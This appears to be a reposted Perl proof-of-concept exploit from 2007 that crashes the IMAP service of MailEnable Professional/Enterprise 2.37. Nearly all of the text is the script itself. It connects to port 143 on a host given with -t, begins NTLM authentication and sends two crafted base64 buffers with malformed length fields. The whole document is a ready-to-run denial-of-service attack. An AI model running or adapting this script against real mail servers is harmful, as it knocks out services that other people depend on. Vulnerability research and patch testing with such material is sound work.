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MailEnable Professional/Enterprise <= 2.37 Denial of Service Exploit

MailEnable Professional/Enterprise <= 2.37 Denial of Service Exploit

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代码:
#!/usr/bin/perl
#
# maildisable-v7.pl
#
# Mail Enable Professional/Enterprise v2.32-7 (win32)
# by mu-b - Wed Feb 14 2007
#
# - Tested on: Mail Enable Professional v2.37 (win32)
#
########

use Getopt::Std; getopts('t:', \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 2;

my $PAD = 'A';

if (connect_host($target, $imapd_port)) {
   print("-> * Connected\n");
   send(SOCKET, "1 AUTHENTICATE NTLM\r\n", 0);
   sleep($send_delay);

   $buf = ($PAD x 12).
        "\xfa\xff\xff\xff".
        ($PAD x 12);
   send(SOCKET, encode_base64($buf)."\r\n", 0);
   sleep($send_delay);

   $buf = ($PAD x 28).
        "\x00\x01".
        ($PAD x 2).
        "\xff\xff\xff\x7f";
   send(SOCKET, encode_base64($buf)."\r\n", 0);
   sleep($send_delay);

   print("-> * Successfully sent payload!\n");
}

sub print_header {
   print("MailEnable Pro v2.37 DoS POC\n");
   print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
   print(qq(Usage: $0 -t <hostname>

    -t <hostname>   : hostname to test
));

   exit(1);
}

sub connect_host {
   ($target, $port) = @_;
   $iaddr  = inet_aton($target)            || die("Error: $!\n");
   $paddr  = sockaddr_in($port, $iaddr)      || die("Error: $!\n");
   $proto  = getprotobyname(&#39;tcp&#39;)          || die("Error: $!\n");

   socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
   connect(SOCKET, $paddr)               || die("Error: $!\n");
   return(1338);
}

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